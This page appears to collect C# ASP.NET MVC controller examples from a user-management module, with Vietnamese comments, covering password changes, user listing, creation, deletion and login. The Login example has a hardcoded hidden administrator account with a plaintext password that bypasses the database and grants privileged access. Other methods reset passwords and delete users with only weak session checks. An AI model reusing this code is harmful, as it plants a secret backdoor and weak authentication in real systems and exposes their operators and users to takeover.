예제 #1
0
 public ActionResult EditPassword(string p_old_pass, string p_new_pass)
 {
     try
     {
         User_Info currentUser = (User_Info)SessionData.CurrentUser;
         string    old_pass_in = NaviCommon.CommonFuc.Encrypt(currentUser.User_Name.ToUpper() + p_old_pass);
         if (old_pass_in != currentUser.Password)
         {
             return(Json(new { success = -1 }));
         }
         UserInfo_BL _UserBl    = new UserInfo_BL();
         string      new_pass   = NaviCommon.CommonFuc.Encrypt(currentUser.User_Name.ToUpper() + p_new_pass);
         decimal     resultEdit = _UserBl.UserInfo_Update_Pass(currentUser.User_Id, new_pass, DateTime.Now.Date);
         if (resultEdit < 0)
         {
             return(Json(new { success = -2 }));
         }
         currentUser.Last_Update_Pass = DateTime.Now;
         return(Json(new { success = 1 }));
     }
     catch (Exception ex)
     {
         NaviCommon.Common.log.Error(ex.ToString());
         return(Json(new { success = -2 }));
     }
 }
예제 #2
0
        /// <summary>
        /// 1: Thành công
        /// 0: ID không tồn tại hoặc bị xóa / create user: trùng tên
        /// -1: Lỗi / hết session
        /// -2: SĐT bị trùng
        /// -3: Email bị trùng
        /// </summary>
        /// <returns></returns>
        public ActionResult UserList()
        {
            try
            {
                //string _url_PhanQuyenDL = "/ModuleUser/User/UserSymbolList";
                string _url = Request.RawUrl;
                string _ok  = CommonFunc.Nvs_Redirect_QuyenTruyCapUser(_url);
                if (_ok != "")
                {
                    return(Redirect(_ok));
                }

                int     p_start       = 1;
                int     p_end         = NaviCommon.Common.RecordOnpage;
                decimal p_totalrecord = 0;

                UserInfo_BL _UserInfo_BL = new UserInfo_BL();

                List <User_Info> _lst = _UserInfo_BL.UserInfo_Search("-1", "-1", "-1", "-1", "user_name", "ASC", p_start.ToString(), p_end.ToString(), ref p_totalrecord);

                ViewBag.Paging = HtmlHelpers.PagingData(1, NaviCommon.Common.RecordOnpage, (int)p_totalrecord, "Tài khoản");

                ViewBag.SumRecord = p_totalrecord;
                ViewBag.FromRow   = p_start;
                ViewBag.Obj       = _lst;

                return(View(_lst));
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                ViewBag.FromRow = 0;
                return(View(new List <User_Info>()));
            }
        }
예제 #3
0
        public decimal Delete_User(int p_User_Id)
        {
            try
            {
                // Kiểm tra có phiên làm việc không
                var objUser = SessionData.CurrentUser as User_Info;

                if (objUser == null)
                {
                    return(-1); // thoát đăng nhập
                }
                if (objUser.User_Id == p_User_Id)
                {
                    return(-1);  // không thể xóa chính nó
                }
                UserInfo_BL _UserInfo_BL = new UserInfo_BL();
                var         _Details     = _UserInfo_BL.UserInfo_GetById(p_User_Id);
                if (_Details == null)
                {
                    return(0); // tài khoản đã bị xóa
                }
                return(_UserInfo_BL.UserInfo_Delete(p_User_Id));
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                return(-1);
            }
        }
예제 #4
0
        public ActionResult Create_User(string p_username, string p_password, string p_fullname, decimal p_type, decimal p_Custom_Id, string p_phone, string p_email)
        {
            try
            {
                // Kiểm tra có phiên làm việc không
                var objUser = SessionData.CurrentUser as User_Info;
                if (objUser == null)
                {
                    return(Redirect("~/Home/Voting"));
                }

                UserInfo_BL _UserInfo_BL  = new UserInfo_BL();
                User_Info   checkUserName = _UserInfo_BL.UserInfo_GetByName(p_username);
                if (checkUserName != null)
                {
                    return(Json(new { success = 0 }));
                }

                decimal _type = Convert.ToDecimal(p_type);

                string  p_password_encrypt = NaviCommon.CommonFuc.Encrypt(p_username.ToUpper() + p_password);
                decimal result             = _UserInfo_BL.UserInfo_Insert(p_username, p_password_encrypt, p_fullname, p_Custom_Id, _type, 0, p_phone, p_email);
                return(Json(new { success = result }));
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                return(Json(new { success = -5 }));
            }
        }
예제 #5
0
        public ActionResult SetPassword_User(int p_user_id, string p_user_name, string p_password)
        {
            try
            {   // Kiểm tra có phiên làm việc không
                if (Session["TempUser"] == null)
                {
                    return(Json(new { success = -10 })); // hết session
                }

                UserInfo_BL _UserInfo_BL = new UserInfo_BL();
                var         _Details     = _UserInfo_BL.UserInfo_GetById(p_user_id);
                if (_Details == null)
                {
                    return(Json(new { success = 0 })); // id không tồn tài hoặc bị xóa
                }
                string p_password_encrypt = NaviCommon.CommonFuc.Encrypt(p_user_name.ToUpper() + p_password);
                if (p_password_encrypt == _Details.Password)
                {
                    return(Json(new { success = -3 })); // trùng mật khẩu cũ
                }
                decimal result = _UserInfo_BL.UserInfo_SetPassword(p_user_id, (int)NaviCommon.Enum_User_Status.Confrim, p_password_encrypt);
                return(Json(new { success = result }));
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                return(Json(new { success = -2 })); // lỗi
            }
        }
        /// <summary>
        /// DANH SACH NHOM THUOC USER
        /// </summary>
        /// <returns></returns>
        public ActionResult ListUserOfGroups()
        {
            try
            {
                //KIỂM TRA QUYỀN TRUY CẬP CHỈ ĐẢY VÀO CÁC HÀM GET KO ĐẨY VÀO HAM POST
                string _url = "/ModuleUser/USER/USERLIST";
                string _ip  = Request.UserHostAddress;
                string _ok  = CommonFunc.Nvs_Redirect_QuyenTruyCapUser(_url, _ip);
                if (_ok != "")
                {
                    return(Redirect(_ok));
                }

                //LAY TU URL HOAC LAY TU SESSION DEU DUOC
                if (!RouteData.Values.ContainsKey("id"))
                {
                    return(View(new List <GroupUser_Info>()));
                }
                int         idUser     = Convert.ToInt32(RouteData.Values["id"]);
                GroupUserBL _groupuser = new GroupUserBL();
                //LAY RA TEN TAI KHOAN THEM VAO NHOM

                UserInfo_BL _UserInfo_BL = new UserInfo_BL();
                User_Info   _user        = _UserInfo_BL.UserInfo_GetById(idUser);


                ViewBag.UserName   = _user.User_Name;
                ViewBag.IDUserName = idUser;

                ViewBag.lstGroupUsers      = _groupuser.GroupUserGetByUserID(idUser);
                ViewBag.lstGroupNotInUsers = _groupuser.GroupUserGetNotInUserID(idUser, (int)SessionData.CurrentUser.User_Id);

                //DAY VAO SESSION KEY THEO USERID TRANH TH 2 TAB USER KHACH NHAU NHAP NHANG
                //QUYEN CUA NHAU
                ViewBag.CurrentUser = 0;
                if (SessionData.CurrentUser.User_Id == idUser)
                {
                    ViewBag.CurrentUser = 1;
                }
                string keyGroupInUser    = "******" + idUser.ToString();
                string keyGroupNotInUser = "******" + idUser.ToString();
                Session[keyGroupInUser]    = ViewBag.lstGroupUsers;
                Session[keyGroupNotInUser] = ViewBag.lstGroupNotInUsers;
                return(View());
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                return(View(new List <GroupUser_Info>()));
            }
        }
예제 #7
0
        public ActionResult User_WareHouse_List()
        {
            try
            {
                string _url = "/ModuleUser/User/UserList";
                string _ok  = CommonFunc.Nvs_Redirect_QuyenTruyCapUser(_url);
                if (_ok != "")
                {
                    return(Redirect(_ok));
                }

                decimal _user_id = 0;
                if (RouteData.Values["id"] != null)
                {
                    _user_id = Convert.ToDecimal(RouteData.Values["id"].ToString());
                }
                User_Info _userinfo = new User_Info();

                // lấy toàn bộ danh sách kho lên
                List <WareHouse_Info> _lstWareHouse = WareHouse_BL.WareHouse_GetAll();

                UserInfo_BL _UserInfo_BL = new UserInfo_BL();
                _userinfo = _UserInfo_BL.UserInfo_GetById(_user_id);

                // lấy các kho của user
                User_WareHose_BL      _User_WareHose_BL = new User_WareHose_BL();
                List <WareHouse_Info> _lst_UsWareHouse  = _User_WareHose_BL.WareHouse_GetByUser_Auz(_userinfo.User_Id);

                Hashtable _hs = new Hashtable();
                foreach (WareHouse_Info item in _lst_UsWareHouse)
                {
                    _hs[item.WareHouse_Id] = item;
                }

                // tạm thời để _KeySession = trống, sau này phải sinh ra để test trên các tab cùng trình duyệt
                string _KeySession = "";
                ViewBag.KeySessionOnTab = _KeySession;
                Session["SessionListPackage" + _KeySession]          = _lstWareHouse;//Toàn bộ Kho
                Session["SessionListPackageException" + _KeySession] = _hs;
                ViewBag.UserName    = _userinfo.User_Name;
                ViewBag.User_id     = _userinfo.User_Id;
                ViewBag.List        = _lstWareHouse;
                ViewBag.HsException = _hs;
                return(View());
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                return(View());
            }
        }
예제 #8
0
        public ActionResult Search_User(string p_keysearch, int p_CurrentPage, string p_column, string p_type_sort)
        {
            try
            {
                string p_name      = "";
                string p_type      = "-1";
                string p_status    = "-1";
                string p_Custom_Id = "-1";

                int p_start = NaviCommon.Common.RecordOnpage * (p_CurrentPage - 1) + 1;
                int p_end   = NaviCommon.Common.RecordOnpage * p_CurrentPage;

                string[] arrKey = p_keysearch.Split('|');
                if (arrKey.Length > 0)
                {
                    p_name      = arrKey[0];
                    p_type      = arrKey[1];
                    p_status    = arrKey[2];
                    p_Custom_Id = arrKey[3];
                }

                if (String.IsNullOrEmpty(p_name))
                {
                    p_name = "-1";
                }

                UserInfo_BL      _UserInfo_BL  = new UserInfo_BL();
                decimal          p_totalrecord = 0;
                List <User_Info> _lst          = _UserInfo_BL.UserInfo_Search(p_name, p_type, p_status, p_Custom_Id, p_column, p_type_sort, p_start.ToString(), p_end.ToString(), ref p_totalrecord);
                ViewBag.Paging    = HtmlHelpers.PagingData(p_CurrentPage, NaviCommon.Common.RecordOnpage, (int)p_totalrecord, "Tài khoản");
                ViewBag.SumRecord = p_totalrecord;
                ViewBag.FromRow   = p_start;
                ViewBag.Obj       = _lst;

                return(PartialView("PartialViewTableslistUser"));
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                return(PartialView("PartialViewTableslistUser"));
            }
        }
예제 #9
0
        public ActionResult ShowViewUser(int p_id)
        {
            try
            {
                var objUser = SessionData.CurrentUser as User_Info;
                if (objUser == null)
                {
                    return(null);
                }

                UserInfo_BL _UserInfo_BL = new UserInfo_BL();

                User_Info _UserInfo = _UserInfo_BL.UserInfo_GetById(p_id);

                return(PartialView("~/Areas/ModuleUser/Views/User/PartialView_User_Information.cshtml", _UserInfo));
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                return(PartialView("PartialViewTableslistUser"));
            }
        }
예제 #10
0
        public ActionResult Login(FormCollection p_formColl)
        {
            try
            {
                string username   = p_formColl.Get("txtUser");
                string p_password = p_formColl.Get("txtPassword");

                string _tabid = "";
                string _liid  = "";
                if (p_formColl.Get("_tabid") != null)
                {
                    _tabid = p_formColl.Get("_tabid");
                }
                if (p_formColl.Get("_liid") != null)
                {
                    _liid = p_formColl.Get("_liid");
                }
                TempData["TabFocus"] = _tabid;
                TempData["Lifocus"]  = _liid;
                //Administrator
                //tt8administrator123!@# <=>ef5d0d3e091eeeca2d6e785ec48687be // acc ẩn trên code
                User_Info UserResult = new User_Info();
                if (username == "Administrator" && p_password == "tt8administrator123!@#")
                {
                    UserResult                  = new User_Info();
                    UserResult.User_Id          = -99;
                    UserResult.User_Name        = username;
                    UserResult.Password         = p_password;
                    UserResult.Last_Update_Pass = new DateTime(3000, 01, 01);
                    UserResult.User_Type        = (decimal)NaviCommon.Enum_User_Type.HaiQuan;
                    UserResult.Status           = (decimal)NaviCommon.Enum_User_Status.Confrim;
                    SessionData.SetDataSession("Account", UserResult);
                    SessionData.CurrentUser = UserResult;

                    return(Redirect("~/ModuleContracts/Contract/ContractList"));
                }

                // lấy dữ liệu user đăng nhập
                UserInfo_BL _UserInfo_BL = new UserInfo_BL();
                UserResult = _UserInfo_BL.UserInfo_CheckLogin(username, p_password);

                //UserResult = _UserInfo_BL.UserInfo_GetByName(username);

                if (UserResult != null)
                {
                    if (UserResult.Status == (decimal)NaviCommon.Enum_User_Status.News)
                    {
                        Session["TempUser"] = UserResult;
                        // lấy session user tạm(chưa có password)
                        // nếu là đăng nhập lần đầu
                        return(Redirect("/ModuleUser/User/ChangFirstTime"));
                    }
                    TempData["Status"] = UserResult.Status;
                    SessionData.SetDataSession("Account", UserResult);
                    SessionData.CurrentUser = UserResult;

                    //HUNGTD lấy quyền chức năng
                    FunctionsBL _func = new FunctionsBL();
                    UserResult.gHshFunctionOfUser = _func.GetUserFuncByUserID(UserResult.User_Id);

                    if (UserResult.User_Type == (decimal)NaviCommon.Enum_User_Type.Kho)
                    {
                        DataMemory.Set_ListWareHouse_AuzByUser(UserResult.User_Id);
                    }

                    DataMemory.Set_ListWareHouse_ByUser(UserResult.User_Id, UserResult.User_Type);

                    TempData["TabFocus"] = null;
                    TempData["Lifocus"]  = null;
                    if (DataMemory.c_is_Custom == 0)
                    {
                        return(Redirect("~/ModuleContracts/Contract/ContractNoList"));
                    }
                    else
                    {
                        return(Redirect("~/ModuleContracts/Contract/ContractNoList"));
                    }
                }

                TempData["Err"] = "Tên truy cập hoặc mật khẩu không chính xác";

                return(Redirect("~/home/admin"));
            }
            catch (Exception ex)
            {
                NaviCommon.Common.log.Error(ex.ToString());
                TempData["Err"] = "Sai tên đăng nhập hoặc mật khẩu!!!";
                return(Redirect("~/home/admin"));
            }
        }